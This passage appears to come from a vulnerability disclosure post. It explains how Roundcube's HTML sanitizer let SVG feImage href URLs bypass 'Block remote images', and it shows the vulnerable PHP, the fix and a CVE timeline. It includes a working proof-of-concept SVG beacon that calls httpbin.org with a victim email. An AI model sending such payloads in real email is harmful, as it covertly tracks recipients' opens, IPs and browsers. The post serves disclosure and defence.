sanitized.\n\u003cfeImage\u003e stood out.2 Its href gets fetched on render, same as \u003cimg src\u003e. But the sanitizer sends it through wash_link() instead of is_image_attribute().\nSo the “Block remote images” setting doesn’t apply to it.\nTechnical details# In wash_attribs(), every attribute hits a chain of checks. The first one that matches wins:\nrcube_washtml.php\nif ($this-\u003eis_image_attribute($node-\u003enodeName, $key)) { $out = $this-\u003ewash_uri($value, true); // blocks remote URLs } elseif ($this-\u003eis_link_attribute($node-\u003enodeName, $key)) { $out = $this-\u003ewash_link($value); // allows http/https } Before the fix, is_image_attribute() looked like this:\nrcube_washtml.php\nprivate function is_image_attribute($tag, $attr) { return $attr == 'background' || $attr == 'color-profile' || ($attr == 'poster' \u0026\u0026 $tag == 'video') || ($attr == 'src' \u0026\u0026 preg_match('/^(img|image|source|input|video|audio)$/i', $tag)) || ($tag == 'use' \u0026\u0026 $attr == 'href') || ($tag == 'image' \u0026\u0026 $attr == 'href'); } The href attribute is only matched for use and image. No feimage.\nAnd is_link_attribute() is a catch-all3:\nrcube_washtml.php\nprivate function is_link_attribute($tag, $attr) { return $attr === 'href'; } So when the sanitizer encounters \u003cfeImage href=\"https://...\"\u003e: is_image_attribute('feimage', 'href') returns false, is_link_attribute('feimage', 'href') returns true, and the URL goes through wash_link() which passes HTTP/HTTPS URLs straight through.\nProof of concept# An invisible 1x1 SVG, positioned off-screen:\n\u003csvg width=\"1\" height=\"1\" style=\"position:absolute;left:-9999px;\"\u003e \u003cdefs\u003e \u003cfilter id=\"t\"\u003e \u003cfeImage href=\"https://httpbin.org/image/svg?email=victim@test.com\" width=\"1\" height=\"1\"/\u003e \u003c/filter\u003e \u003c/defs\u003e \u003crect filter=\"url(#t)\" width=\"1\" height=\"1\"/\u003e \u003c/svg\u003e The browser evaluates the SVG filter and fires a GET to the attacker’s URL.\nImpact# The “Block remote images” setting doesn’t block this remote image. An attacker can confirm you opened it, log your IP, and fingerprint your browser.\nRemediation# The fix (26d7677) collapses the two separate use/image checks into a single regex that includes feimage:\nrcube_washtml.php\n|| ($attr == 'href' \u0026\u0026 preg_match('/^(feimage|image|use)$/i', $tag)); // SVG Now \u003cfeImage href\u003e hits is_image_attribute() first, gets routed through wash_uri(), and the remote URL is blocked.\nUpdate to 1.5.13 or 1.6.13.\nTimeline# Date Event 2026-01-04 Reported to Roundcube 2026-02-08 1.5.13 and 1.6.13 released 2026-02-08 This post 2026-02-09 CVE-2026-25916 assigned The SVG spec is enormous and most sanitizers only handle the common elements. Whenever one SVG tag slips through, there are usually others on the same allowlist that nobody checked. ↩︎\nIt’s an SVG filter primitive that loads an external image and uses it as input to a filter chain (spec). Rarely used in practice, which is probably why it was overlooked. Allowlists that grow by hand tend to have gaps like this. ↩︎\nThis matches href on every element, including \u003cfeImage\u003e. That’s the root cause. ↩︎\n","date_published":"2026-02-08T00:00:00Z","date_modified":"2026-03-16T00:00:00Z","tags":["vulnerability","roundcube","svg","email-security"]}]}